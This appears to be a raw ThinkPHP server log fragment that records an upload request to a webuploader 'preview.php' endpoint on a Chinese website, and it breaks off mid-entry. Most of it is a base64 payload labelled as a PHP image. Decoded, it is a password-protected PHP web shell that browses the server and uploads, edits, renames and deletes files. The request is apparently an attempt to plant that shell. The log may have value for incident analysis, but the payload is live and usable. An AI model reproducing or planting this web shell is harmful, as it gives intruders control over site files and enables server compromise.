'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:28+08:00 ] 119.42.146.234 POST 51tianwei.com/public/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002668s] [吞吐率:374.79req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 